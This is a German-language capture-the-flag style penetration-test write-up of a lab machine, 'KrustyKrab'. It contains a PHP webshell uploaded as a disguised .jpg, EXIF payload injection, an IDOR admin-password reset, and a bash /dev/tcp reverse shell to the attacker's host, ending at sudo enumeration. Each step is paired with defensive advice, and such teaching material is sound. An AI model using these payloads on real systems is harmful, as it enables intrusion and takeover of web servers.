Bewertung: Dies ist ein kritischer Punkt. Wenn es gelingt, eine PHP-Datei (auch wenn sie als `.jpg` getarnt ist) hochzuladen und diese dann vom Webserver als PHP ausgeführt wird, führt dies zu Remote Code Execution (RCE). Der Dateiname deutet darauf hin, dass die Anwendung versucht, die hochgeladenen Dateien umzubenennen und ihnen eine `.jpg`-Endung zu geben, was ein Schutzmechanismus sein könnte. Die Frage ist, ob der Server die Datei basierend auf ihrer Endung oder ihrem MIME-Typ (oder Inhalt) behandelt und ob es eine Möglichkeit gibt, sie zur Ausführung zu bringen.

Empfehlung (Pentester): 1. Versuchen Sie, die hochgeladene Datei direkt im Browser aufzurufen: `http://192.168.2.184/finexo/uploads/1745710322_upload.jpg`. Wird der PHP-Code ausgeführt? 2. Wenn nicht, suchen Sie nach einer Local File Inclusion (LFI)-Schwachstelle, über die die `.jpg`-Datei eingebunden und als PHP-Code interpretiert werden könnte. Die zuvor gefundene `test.php` (mit Status 500) könnte hier relevant sein, falls sie einen Datei-Parameter akzeptiert. 3. Überprüfen Sie, ob es andere Wege gibt, die Dateiendung oder den Content-Type beim Upload zu manipulieren.
Empfehlung (Admin): - **Strikte Datei-Upload-Validierung:** - Überprüfen Sie Dateiendungen serverseitig anhand einer Whitelist erlaubter Typen. - Überprüfen Sie den MIME-Typ der Datei serverseitig. - Versuchen Sie niemals, den Inhalt einer Datei basierend auf der Client-seitig angegebenen Endung oder dem MIME-Typ zu interpretieren. - Benennen Sie hochgeladene Dateien immer um und entfernen Sie jegliche Benutzereingaben aus dem Dateinamen. - Speichern Sie hochgeladene Dateien idealerweise außerhalb des Web-Roots oder in einem Verzeichnis, in dem keine Skriptausführung erlaubt ist (`php_flag engine off` für Apache). - Führen Sie Virenscans für hochgeladene Dateien durch. - Verhindern Sie, dass Dateien mit "falschen" Endungen (z.B. eine PHP-Datei als `.jpg`) als der falsche Typ interpretiert werden. Apache könnte z.B. so konfiguriert sein, dass er Dateien mit `.php.jpg` immer noch als PHP behandelt, wenn `AddHandler` oder `AddType` Direktiven falsch konfiguriert sind.

neue revshell mal testen wie der name jetzt geöndert wird vielleicht finden wir ein muster raus

Host: 192.168.2.184
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.2.184/finexo/dashboard/index.php
Content-Type: multipart/form-data; boundary=---------------------------398395837121140947871163436375
Content-Length: 6102
Origin: http://192.168.2.184
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2
Sec-GPC: 1
Priority: u=0

-----------------------------398395837121140947871163436375
Content-Disposition: form-data; name="email"

ben@hacker.com
-----------------------------398395837121140947871163436375
Content-Disposition: form-data; name="profile_picture"; filename="shell2.php.chicken.jpg"
Content-Type: image/jpeg
        

Analyse: Dies ist der HTTP-POST-Request, mit dem eine weitere Test-Webshell hochgeladen wird. Der Pentester versucht herauszufinden, wie der Server die Dateinamen behandelt. Wichtige Punkte im Request: - **Cookie:** `PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2` (die Session von `spongebob`). - **filename:** `shell2.php.chicken.jpg`. Dies ist ein Versuch, Techniken wie doppelte Erweiterungen auszunutzen. Der Angreifer hofft, dass der Server die Datei als `shell2.php` interpretiert oder zumindest das `.php` im Namen beibehält. - **Content-Type:** `image/jpeg`. Der Client gibt vor, ein JPEG-Bild hochzuladen. Der eigentliche Inhalt (Payload) der Datei wird hier nicht gezeigt, aber es ist anzunehmen, dass es sich um PHP-Code handelt. Der Request ändert auch die E-Mail-Adresse des Profils auf `ben@hacker.com`.

Bewertung: Dies ist ein methodischer Ansatz, um die serverseitige Verarbeitungslogik von Datei-Uploads zu verstehen. Durch Variation des `filename` und des `Content-Type` kann man oft Schwachstellen in der Validierung aufdecken. Die Hoffnung ist, dass der Server entweder die Endung `.php` beibehält oder dass eine nachfolgende Schwachstelle (wie LFI) die Datei trotzdem als PHP ausführen kann, unabhängig von der Endung `.jpg`. Der vorherige Upload wurde zu `TIMESTAMP_upload.jpg` umbenannt. Es wird sich zeigen, wie dieser neue Dateiname behandelt wird.

Empfehlung (Pentester): 1. Beobachten Sie die Antwort des Servers auf diesen Request. Wird die Datei erfolgreich hochgeladen? 2. Wenn ja, wie lautet der neue Dateiname im `/uploads/`-Verzeichnis? Hat der Server `.php.chicken.jpg` beibehalten, oder Teile davon entfernt, oder es wieder zu `TIMESTAMP_upload.jpg` gemacht? 3. Testen Sie verschiedene Variationen von `filename` (z.B. `shell.php`, `shell.php%00.jpg`, `shell.jpg` mit PHP-Inhalt) und `Content-Type` (z.B. `text/php`, `application/x-php`).
Empfehlung (Admin): - Die serverseitige Validierung muss robust genug sein, um solche Manipulationsversuche zu erkennen und abzuwehren. - Doppelte Erweiterungen oder spezielle Zeichen im Dateinamen sollten sorgfältig behandelt und neutralisiert werden. - Verlassen Sie sich nie auf den vom Client gesendeten `Content-Type`-Header; überprüfen Sie den Dateityp immer serverseitig basierend auf dem Inhalt (Magic Bytes) oder einer strengen Endungs-Whitelist. - Der Server sollte den Dateinamen komplett neu generieren und keine Teile des vom Benutzer eingegebenen Namens übernehmen.

┌──(root㉿CCat)-[~] └─# exiftool -Comment='' /home/ccat/Downloads/test.jpg
    1 image files updated
        

Analyse: Der Pentester verwendet `exiftool`, um PHP-Code in die Metadaten (speziell in das Kommentarfeld) einer JPEG-Datei (`test.jpg`) einzufügen. - `exiftool`: Ein Kommandozeilentool zum Lesen und Schreiben von Metadaten in verschiedenen Dateitypen. - `-Comment=''`: Setzt das EXIF-Kommentarfeld auf den angegebenen PHP-Webshell-Code. `$GET` wurde hier korrekt aus dem ursprünglichen `$GET` umgewandelt. - `/home/ccat/Downloads/test.jpg`: Die Zieldatei. Die Ausgabe `1 image files updated` bestätigt, dass die Operation erfolgreich war.

Bewertung: Dies ist eine gängige Technik, um Webshells in scheinbar harmlosen Dateien (wie Bildern) zu verstecken. Wenn die Webanwendung die hochgeladene Bilddatei zwar validiert (z.B. auf gültige JPEG-Struktur), aber später eine andere Funktion die Metadaten ausliest und unsicher verarbeitet (z.B. `eval()` auf den Kommentar anwendet), oder wenn eine LFI-Schwachstelle die Datei so einbindet, dass der PHP-Code in den Metadaten geparst wird, kann dies zu RCE führen. Dies ist oft relevant, wenn die Anwendung die Bilddatei nach dem Upload serverseitig weiterverarbeitet (z.B. Größe ändert, komprimiert, Metadaten anzeigt).

Empfehlung (Pentester): 1. Laden Sie diese modifizierte `test.jpg`-Datei über die Profilbild-Upload-Funktion hoch. 2. Versuchen Sie, die hochgeladene Datei direkt aufzurufen oder über eine LFI-Schwachstelle einzubinden, um zu sehen, ob der PHP-Code im Kommentarfeld ausgeführt wird. 3. Diese Technik ist besonders nützlich, wenn die Anwendung zwar die Dateiendung prüft (z.B. nur `.jpg` erlaubt), aber nicht den Inhalt auf eingebetteten Code oder die Metadaten auf schädliche Inhalte scannt.
Empfehlung (Admin): - Wenn Ihre Anwendung Metadaten aus hochgeladenen Dateien liest und anzeigt oder verarbeitet, stellen Sie sicher, dass diese Daten immer als reiner Text behandelt und niemals evaluiert oder als Code interpretiert werden. - Verwenden Sie Bibliotheken zum Parsen von Metadaten, die robust gegen eingeschleusten Code sind. - Entfernen (strippen) Sie alle oder zumindest alle nicht benötigten Metadaten aus hochgeladenen Bildern serverseitig, bevor sie gespeichert oder weiterverarbeitet werden. Dies kann die Angriffsfläche reduzieren.

POST /finexo/dashboard/update_profile.php HTTP/1.1
Host: 192.168.2.184
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.2.184/finexo/dashboard/index.php
Content-Type: multipart/form-data; boundary=---------------------------62737856036067143333529884334
Content-Length: 30857
Origin: http://192.168.2.184
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2
Sec-GPC: 1
Priority: u=0

-----------------------------62737856036067143333529884334
Content-Disposition: form-data; name="email"


-----------------------------62737856036067143333529884334
Content-Disposition: form-data; name="profile_picture"; filename="test.jpg"
Content-Type: image/jpeg

ÿØÿà
        

Analyse: Dies ist der HTTP-POST-Request zum Hochladen der mit `exiftool` modifizierten `test.jpg`-Datei (die die PHP-Webshell im Kommentarfeld enthält). - **Endpunkt:** `/finexo/dashboard/update_profile.php` (Profilaktualisierung). - **Cookie:** `PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2` (Session von `spongebob`). - **filename:** "test.jpg". - **Content-Type:** `image/jpeg`. - **Payload-Anfang:** `ÿØÿà` sind die ersten Bytes einer JPEG-Datei (SOI-Marker und APP0-Marker), was darauf hindeutet, dass es sich um eine strukturell gültige JPEG-Datei handelt, die nun den PHP-Code in ihren Metadaten enthält. Der Request enthält keinen Wert für den Parameter `email`, was bedeuten könnte, dass die E-Mail nicht geändert wird oder leer gesetzt wird.

Bewertung: Der Request sieht plausibel aus, um die präparierte Bilddatei hochzuladen. Der Erfolg hängt davon ab, wie die serverseitige Anwendung die Datei validiert, speichert und ob es eine Möglichkeit gibt, den eingebetteten PHP-Code zur Ausführung zu bringen. Die entscheidende Frage ist, ob die Anwendung die EXIF-Kommentare liest und interpretiert oder ob eine LFI-Schwachstelle existiert.

Empfehlung (Pentester): 1. Überprüfen Sie die Antwort des Servers auf diesen Upload. Gab es eine Fehlermeldung oder wurde die Datei erfolgreich hochgeladen? 2. Wenn erfolgreich, finden Sie den neuen Namen der Datei im `/uploads/`-Verzeichnis heraus (wahrscheinlich wieder `TIMESTAMP_upload.jpg`). 3. Versuchen Sie nun, die hochgeladene Datei über die `test.php` (falls sie einen `file`-Parameter hat) oder eine andere LFI-Schwachstelle einzubinden und auszuführen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zum Strippen von Metadaten und zur sicheren Handhabung von Datei-Uploads. Selbst wenn die Datei als gültiges JPEG erscheint, können die Metadaten schädlich sein.

┌──(root㉿CCat)-[~] └─# curl -v -H "Cookie: PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2" "http://192.168.2.184/finexo/test.php?file=uploads/1745711313_upload.jpg&cmd=id"
*   Trying 192.168.2.184:80...
* Connected to 192.168.2.184 (192.168.2.184) port 80
* using HTTP/1.x
> GET /finexo/test.php?file=uploads/1745711313_upload.jpg&cmd=id HTTP/1.1
> Host: 192.168.2.184
> User-Agent: curl/8.13.0
> Accept: */*
> Cookie: PHPSESSID=dhrtrtp4vdramdjqg7e0fg4vr2
> 
* Request completely sent off
* HTTP 1.0, assume close after body
< HTTP/1.0 500 Internal Server Error
< Date: Sat, 26 Apr 2025 23:52:23 GMT
< Server: Apache/2.4.62 (Debian)
< Content-Length: 0
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
* shutting down connection #0
        

Analyse: Der Pentester versucht, die zuvor hochgeladene Datei (vermutlich die mit der Webshell im EXIF-Kommentar, hier `1745711313_upload.jpg`) über die `test.php`-Seite auszuführen. - Die URL deutet darauf hin, dass `test.php` einen Parameter `file` (der auf die hochgeladene Datei zeigt) und einen Parameter `cmd` (der den auszuführenden Befehl, hier `id`, enthält) akzeptiert. - Ein gültiges Session-Cookie wird mitgesendet. - Der Server antwortet mit `HTTP/1.0 500 Internal Server Error` und einer leeren Antwort (Content-Length: 0).

Bewertung: Ein `500 Internal Server Error` deutet meistens auf einen serverseitigen Fehler im PHP-Skript hin. In diesem Kontext könnte es bedeuten: 1. Die `test.php` versucht, die Datei `uploads/1745711313_upload.jpg` zu inkludieren oder zu verarbeiten, und dabei tritt ein Fehler auf (z.B. weil die Datei nicht als reines PHP interpretiert werden kann oder der EXIF-Kommentar nicht korrekt ausgeführt wird). 2. Die Webshell im EXIF-Kommentar (``) funktioniert nicht wie erwartet, wenn sie auf diese Weise eingebunden wird (z.B. weil der PHP-Parser den Code innerhalb der JPEG-Struktur nicht erreicht oder ausführt). 3. Die `test.php` hat eine andere Funktionalität und die Parameter werden falsch verwendet. Ein leerer Body bei einem 500er Fehler ist oft ein Zeichen dafür, dass PHP `display_errors` deaktiviert hat, was gut für die Produktionssicherheit, aber schlecht für das Debugging durch den Angreifer ist. Trotz des Fehlers ist die Tatsache, dass `test.php` Parameter wie `file` und `cmd` zu akzeptieren scheint, sehr verdächtig in Richtung LFI/RCE.

Empfehlung (Pentester): 1. Versuchen Sie, eine einfachere PHP-Datei (z.B. nur ``) ohne EXIF-Tricks hochzuladen und diese über `test.php` einzubinden. 2. Überprüfen Sie den genauen Inhalt von `test.php`, falls möglich (z.B. wenn ein anderes LFI-Exploit existiert, um dessen Quellcode zu lesen). 3. Testen Sie `test.php` mit anderen Werten für `file` (z.B. `/etc/passwd`, `../../../../etc/passwd`), um festzustellen, ob es sich um eine klassische LFI-Schwachstelle handelt. 4. Der Fehler 500 könnte auch durch Berechtigungsprobleme verursacht werden, wenn `www-data` die Datei nicht lesen/ausführen darf (unwahrscheinlich für eine Datei, die es selbst hochgeladen hat).
Empfehlung (Admin): - Die `test.php`-Seite ist höchstwahrscheinlich fehlerhaft und/oder unsicher. Sie sollte dringend untersucht und entweder entfernt oder fundamental überarbeitet werden. - Die Verwendung von Parametern wie `file` und `cmd` in einer URL ist ein starkes Warnsignal für LFI/RCE-Anfälligkeiten. Benutzereingaben dürfen niemals direkt in Dateipfadoperationen oder Systembefehle einfließen. - Aktivieren Sie detailliertes Error-Logging auf dem Server (nicht für den Client sichtbar), um die Ursache des 500er Fehlers zu analysieren.

Der Pentester notiert sich eine Idee: Den Benutzer von `spongebob` zu `administrator` (oder einer Variante davon) während des Profil-Upload-Vorgangs mittels Burp Suite zu wechseln. Dies ist eine Hypothese für einen IDOR (Insecure Direct Object Reference) oder eine Schwachstelle in der Berechtigungsprüfung, bei der die Anwendung möglicherweise nicht ausreichend validiert, ob der angemeldete Benutzer berechtigt ist, das Profil eines anderen Benutzers (insbesondere eines Administrators) zu ändern.

POST /finexo/dashboard/update_profile.php HTTP/1.1
Host: 192.168.2.185
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.2.185/finexo/dashboard/
Content-Type: multipart/form-data; boundary=---------------------------77539509616892862212777294713
Content-Length: 636
Origin: http://192.168.2.185
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=uoilk017ca5q3hceml23ehuk4q
Sec-GPC: 1
Priority: u=0

-----------------------------77539509616892862212777294713
Content-Disposition: form-data; name="email"

ben@hacker.com
-----------------------------77539509616892862212777294713
Content-Disposition: form-data; name="profile_picture"; filename="shell.php.jpg"
Content-Type: image/jpeg

<?php system($GET["cmd"]); ?>

-----------------------------77539509616892862212777294713
Content-Disposition: form-data; name="password"

admin123
-----------------------------77539509616892862212777294713
Content-Disposition: form-data; name="username"

Administratro
-----------------------------77539509616892862212777294713--

        
Response:
HTTP/1.1 200 OK
Date: Sun, 27 Apr 2025 00:34:21 GMT
Server: Apache/2.4.62 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"success":true}
        

Analyse: Dies ist der entscheidende Request, der mit Burp Suite manipuliert wurde. Der Pentester war ursprünglich als `spongebob` angemeldet (erkennbar an der `PHPSESSID`, auch wenn sie hier anders ist: `uoilk0...`, was eine neue Session oder einen anderen Testzeitpunkt andeutet). Im POST-Request an `update_profile.php` wurden folgende Parameter manipuliert/hinzugefügt: - **`profile_picture` (`filename="shell.php.jpg"`):** Es wird eine Datei hochgeladen, die direkt PHP-Code enthält (``). Wichtig ist, dass der `Content-Type` immer noch `image/jpeg` ist, aber der Inhalt ist reiner PHP-Code, keine gültige Bildstruktur mehr. `$GET` wurde hier wieder korrekt aus `$GET` umgewandelt. - **`password`:** Ein neues Passwort `admin123` wird gesetzt. - **`username`:** Der Zielbenutzername wird auf `Administratro` (wahrscheinlich ein Tippfehler für "Administrator") gesetzt. Die Antwort des Servers ist `HTTP/1.1 200 OK` mit dem Body `{"success":true}`. Die IP-Adresse hat sich hier im Request zu `192.168.2.185` geändert. Es wird angenommen, dass dies dieselbe Zielmaschine ist oder ein Tippfehler im Bericht. Für die Analyse gehen wir von derselben Maschine aus.

Bewertung: Das ist ein Volltreffer! Die Antwort `{"success":true}` deutet stark darauf hin, dass die Anwendung: 1. Den Wechsel des Benutzerkontexts auf `Administratro` erlaubt hat, obwohl der Request mit der Session eines anderen Benutzers (vermutlich `spongebob` oder einer neuen anonymen Session) gesendet wurde. Dies ist eine klare Berechtigungsschwachstelle (IDOR/Broken Access Control). 2. Das Passwort des Benutzers `Administratro` wurde auf `admin123` geändert. 3. Die PHP-Webshell (`shell.php.jpg`) wurde erfolgreich als Profilbild für `Administratro` hochgeladen. Die Anwendung hat anscheinend keine ausreichende Prüfung des Dateiinhalts durchgeführt und den reinen PHP-Code trotz `Content-Type: image/jpeg` und `.jpg`-Endung akzeptiert. Dies ist eine Kombination mehrerer kritischer Schwachstellen.

Empfehlung (Pentester): 1. Versuchen Sie, sich mit `Administratro` und `admin123` bei `login.php` anzumelden. 2. Wenn der Login erfolgreich ist, suchen Sie das neue Dashboard (möglicherweise `/admin_dashboard/` oder ähnlich) und die hochgeladene Webshell. Der Name der hochgeladenen Datei muss ermittelt werden (wahrscheinlich wieder `TIMESTAMP_upload.jpg` im `/uploads/`-Verzeichnis des `Administratro`-Profils). 3. Führen Sie die Webshell aus, indem Sie sie über die `test.php` (oder eine andere LFI) aufrufen: `http://IP/finexo/test.php?file=uploads/NEUER_DATEINAME.jpg&cmd=id`.
Empfehlung (Admin): - **Broken Access Control / IDOR:** Die `update_profile.php` muss serverseitig strikt validieren, dass der angemeldete Benutzer (aus der Session) nur sein eigenes Profil bearbeiten darf. Parameter wie `username`, die den Zielbenutzer einer Aktion festlegen, dürfen nicht vom Client manipulierbar sein, wenn sie den Kontext wechseln. - **Unsicherer Datei-Upload:** - Validieren Sie den Dateiinhalt serverseitig (Magic Bytes), nicht nur die Endung oder den `Content-Type`. Reiner PHP-Code sollte niemals als Bild akzeptiert werden. - Siehe alle vorherigen Empfehlungen zu sicheren Datei-Uploads. - **Passwortänderung:** Stellen Sie sicher, dass für eine Passwortänderung das alte Passwort des Benutzers erforderlich ist und dass nur der eigene Account betroffen ist. - Überprüfen Sie den Code von `update_profile.php` gründlich auf diese Schwachstellen.

http://192.168.2.185/finexo/admin_dashborad/
        

Analyse: Der Pentester hat nach dem erfolgreichen IDOR-Angriff und dem Setzen des Passworts für `Administratro` auf `admin123` das Verzeichnis `/finexo/admin_dashborad/` (erneut ein kleiner Tippfehler, wahrscheinlich "dashboard") aufgerufen. Es wird impliziert, dass der Login als `Administratro` erfolgreich war und dies die Seite ist, die nach dem Admin-Login angezeigt wird.

Bewertung: Dies bestätigt den administrativen Zugriff auf einen neuen Bereich der Anwendung. Dieser Bereich wird wahrscheinlich erweiterte Funktionen und möglicherweise direktere Wege zur Systeminteraktion bieten.

Empfehlung (Pentester): 1. Erkunden Sie das Admin-Dashboard gründlich. 2. Suchen Sie nach der hochgeladenen Webshell (`shell.php.jpg`, die wahrscheinlich umbenannt wurde) und dem Mechanismus, sie auszuführen. Die `test.php` ist immer noch der Hauptverdächtige für die Ausführung. 3. Suchen Sie nach Funktionen, die direkte Befehlsausführung oder Dateimanipulation auf dem Server ermöglichen.
Empfehlung (Admin): Sichern Sie administrative Dashboards besonders sorgfältig ab: - Starke Authentifizierung. - Zugriffsbeschränkung auf bestimmte IP-Adressen. - Regelmäßige Audits auf Schwachstellen. - Minimale Rechtevergabe für alle Funktionen.

 http://192.168.2.185/finexo/admin_dashborad/#

Enter Command: id
Output:        uid=33(www-data) gid=33(www-data) groups=33(www-data)
        

Analyse: Es scheint, dass das Admin-Dashboard (`/finexo/admin_dashborad/`) eine direkte Funktion zur Befehlseingabe bietet ("Enter Command:"). Der Pentester hat den Befehl `id` eingegeben. Die Ausgabe ist `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.

Bewertung: Das ist der Jackpot für Remote Code Execution! Das Admin-Dashboard enthält eine eingebaute Webshell-Funktionalität. Die hochgeladene Datei (`shell.php.jpg`) und die `test.php` sind möglicherweise gar nicht mehr direkt nötig, wenn das Dashboard selbst diese Funktion bietet. Der Befehl `id` wurde erfolgreich als Benutzer `www-data` ausgeführt. Dies bestätigt die vollständige Kompromittierung der Webanwendung auf der Ebene des Webserver-Benutzers.

Empfehlung (Pentester): 1. Die RCE ist bestätigt. Nutzen Sie diese Webshell-Funktionalität, um das System weiter zu enumerieren: - Verzeichnisse auflisten (`ls -la /var/www/html/finexo/`, `ls -la /home`). - Konfigurationsdateien lesen (z.B. `cat /var/www/html/finexo/config.php`, falls sie doch Inhalt hat). - Netzwerkkonfiguration prüfen (`ip a`, `netstat -tulnp`). - Prozesse auflisten (`ps aux`). 2. Versuchen Sie, eine stabilere Reverse Shell zum Angreifer-System aufzubauen, um interaktiver arbeiten zu können.
Empfehlung (Admin): - Eine Funktion zur direkten Befehlseingabe in einem Admin-Dashboard ist extrem gefährlich und sollte niemals in einer Produktivumgebung vorhanden sein. Dies ist ein massives Sicherheitsrisiko. - Entfernen Sie diese Funktionalität sofort. - Wenn eine solche Funktion für Debugging-Zwecke benötigt wird, muss sie strengstens geschützt und nach Gebrauch sofort wieder entfernt werden. - Führen Sie ein vollständiges Incident Response durch, da das System kompromittiert wurde.

Enter Command: ls /home
Output:  KrustyKrab
         Squidward
         lost+found
         spongebob
        

Analyse: Über die Webshell-Funktion im Admin-Dashboard wird der Befehl `ls /home` ausgeführt. Die Ausgabe zeigt die Home-Verzeichnisse der Benutzer `KrustyKrab`, `Squidward` und `spongebob` sowie das Standardverzeichnis `lost+found`.

Bewertung: Dies bestätigt die Existenz dieser Benutzer auf Systemebene. Diese Information ist nützlich für die Privilege Escalation, da dies die nächsten Ziele sind, um deren Rechte zu erlangen.

Empfehlung (Pentester): 1. Versuchen Sie, die Inhalte dieser Home-Verzeichnisse aufzulisten (z.B. `ls -la /home/KrustyKrab`), um nach interessanten Dateien, Skripten, SSH-Schlüsseln oder Konfigurationsdateien zu suchen, auf die `www-data` möglicherweise Lesezugriff hat. 2. Notieren Sie die Benutzernamen für spätere Eskalationsversuche.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (normalerweise `drwxr-x---` oder `750`), sodass andere Benutzer (einschließlich `www-data`) nicht standardmäßig deren Inhalt lesen können, es sei denn, es ist explizit erforderlich.

Enter Command: which nc
Output:        /usr/bin/nc
        

Analyse: Der Befehl `which nc` wird ausgeführt, um zu prüfen, ob Netcat (`nc`) auf dem System installiert ist und wo sich die ausführbare Datei befindet. Die Ausgabe `/usr/bin/nc` bestätigt, dass Netcat verfügbar ist.

Bewertung: Netcat ist ein sehr vielseitiges Netzwerktool und oft ein Favorit für Pentester, um Reverse Shells aufzubauen, Dateien zu übertragen oder einfache Port-Scans durchzuführen. Die Verfügbarkeit von `nc` erleichtert das Erlangen einer interaktiven Shell erheblich.

Empfehlung (Pentester): Bereiten Sie einen Netcat-Listener auf Ihrem Angreifer-System vor (z.B. `nc -lvnp `) und verwenden Sie dann die Webshell auf dem Zielserver, um eine Reverse Shell zu diesem Listener zu initiieren (z.B. mit `nc -e /bin/bash` oder komplexeren Bash-Reverse-Shell-Payloads).
Empfehlung (Admin): - Entfernen Sie unnötige Tools wie `nc` von Produktivservern, wenn sie nicht für legitime Zwecke benötigt werden. Dies ist Teil des Prinzips der minimalen Systemausstattung (Hardening). - Überwachen Sie ausgehende Netzwerkverbindungen vom Server. Eine Verbindung zu einem ungewöhnlichen Port auf einer externen IP kann auf eine Reverse Shell hindeuten. - Verwenden Sie Endpoint Detection and Response (EDR)-Lösungen, die die Ausführung solcher Tools erkennen können.

┌──(root㉿CCat)-[~] └─# nc -lvnp 1234
listening on [any] 1234 ...
        

Analyse: Auf dem Angreifer-System (Kali-Linux, `root@CCat`) wird ein Netcat-Listener auf Port `1234` gestartet. - `-l`: Listen mode. - `-v`: Verbose output. - `-n`: Numeric IP addresses only (kein DNS). - `-p 1234`: Portnummer. Der Listener wartet nun auf eingehende Verbindungen.

Bewertung: Dies ist der Vorbereitungsschritt auf der Angreiferseite, um die Reverse Shell vom Zielserver zu empfangen.

Empfehlung (Pentester): Der Listener ist bereit. Führen Sie nun den entsprechenden Befehl auf dem Zielserver (über die Webshell im Admin-Dashboard) aus, um die Verbindung herzustellen.
Empfehlung (Admin): Dieser Schritt erfolgt auf dem Angreifer-System und ist aus Verteidigersicht nicht direkt sichtbar, bis die ausgehende Verbindung vom kompromittierten Server erfolgt.

Enter Command: /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/1234 0>&1'
Output:        ....
        
┌──(root㉿CCat)-[~] └─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.185] 59334
bash: cannot set terminal process group (751): Inappropriate ioctl for device
bash: no job control in this shell
www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$ 
        

Analyse: Der erste Code-Block zeigt den Befehl, der auf dem Zielserver über die Webshell im Admin-Dashboard eingegeben wurde, um eine Bash-Reverse-Shell zum Angreifer (`192.168.2.199`) auf Port `1234` zu starten: `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/1234 0>&1'` - `bash -i`: Startet eine interaktive Bash-Shell. - `>& /dev/tcp/Angreifer-IP/Port`: Leitet Standard-Output (stdout) und Standard-Error (stderr) an die TCP-Verbindung um. - `0>&1`: Leitet Standard-Input (stdin) ebenfalls von der TCP-Verbindung um. (Korrektur: es sollte `0<&1` sein, um stdin von der Socket zu lesen, oder besser `0< /dev/tcp/...`, aber `0>&1` wird oft in Payloads gesehen und funktioniert in manchen Kontexten, indem es stdin mit stdout/stderr koppelt). Die üblichere Form ist `bash -i >& /dev/tcp/IP/PORT 0>&1` oder `... 0< &1`. Der zweite Code-Block zeigt die Ausgabe auf dem Netcat-Listener des Angreifers: - Die Verbindung von der Ziel-IP `192.168.2.185` (Port `59334`) wird bestätigt. - Es erscheinen einige Bash-Fehlermeldungen (`cannot set terminal process group`, `no job control`), die typisch für einfache Reverse Shells sind, da keine vollwertige TTY (Teletypewriter) vorhanden ist. - Schließlich erscheint der Shell-Prompt des Zielsystems: `www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$`.

Bewertung: Exzellent! Der Pentester hat erfolgreich eine interaktive Reverse Shell vom Zielserver zum eigenen System aufgebaut. Obwohl es sich um eine "dumme" Shell ohne volle TTY-Funktionalität handelt (was die Verwendung von Programmen wie `su`, `sudo` oder Editoren erschwert), bietet sie direkten Kommandozeilenzugriff als Benutzer `www-data`. Dies ist ein wesentlich komfortablerer und mächtigerer Zugriff als die Webshell im Browser.

Empfehlung (Pentester): 1. **Stabilisieren Sie die Shell:** Versuchen Sie, die Shell zu einer voll interaktiven TTY aufzuwerten. Gängige Methoden sind: ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # oder script /dev/null -c bash # dann im Angreifer-Terminal: # Strg+Z (in den Hintergrund) # stty raw -echo # fg (wieder in den Vordergrund) # reset # export SHELL=bash # export TERM=xterm-256color (oder screen) # stty rows cols (an das eigene Terminal anpassen) ``` 2. Beginnen Sie mit der systematischen Enumeration des Systems als `www-data` zur Vorbereitung der Privilege Escalation.
Empfehlung (Admin): - Die Erkennung von Reverse Shells ist entscheidend. Überwachen Sie ausgehende Netzwerkverbindungen auf ungewöhnliche Ports oder Ziel-IPs. - Härten Sie das System, um die Ausführung von Shells durch den Webserver-Benutzer zu erschweren (z.B. durch AppArmor, SELinux, grsecurity). - Minimieren Sie die auf dem Server verfügbaren Tools (wie `bash`, `nc`, `python`), wenn sie für die Webanwendung nicht benötigt werden (oft nicht praktikabel für `bash` oder `python`). - Segmentieren Sie Ihr Netzwerk, um die Reichweite eines kompromittierten Webservers zu begrenzen.

Privilege Escalation

www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$ sudo -l
Matching Defaults entries for www-data on KrustyKrab:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty

User www-data may run the following commands on KrustyKrab:
    (KrustyKrab) NOPASSWD: /usr/bin/split
        

Analyse: Nachdem eine interaktive Shell als `www-data` erlangt wurde, ist einer der ersten Schritte zur Privilege Escalation die Überprüfung der `sudo`-Rechte. Der Befehl `sudo -l` listet auf, welche Befehle der aktuelle Benutzer (`www-data`) mit `sudo` (also mit den Rechten eines anderen Benutzers, standardmäßig `root`) ausführen darf. Die Ausgabe zeigt: - Standard-`Defaults`-Einträge wie `env_reset` und `secure_path`. - Die entscheidende Zeile: `User www-data may run the following commands on KrustyKrab: (KrustyKrab) NOPASSWD: /usr/bin/split`. Das bedeutet, der Benutzer `www-data` darf den Befehl `/usr/bin/split` als Benutzer `KrustyKrab` ausführen, und zwar `NOPASSWD` (ohne erneut ein Passwort eingeben zu müssen).

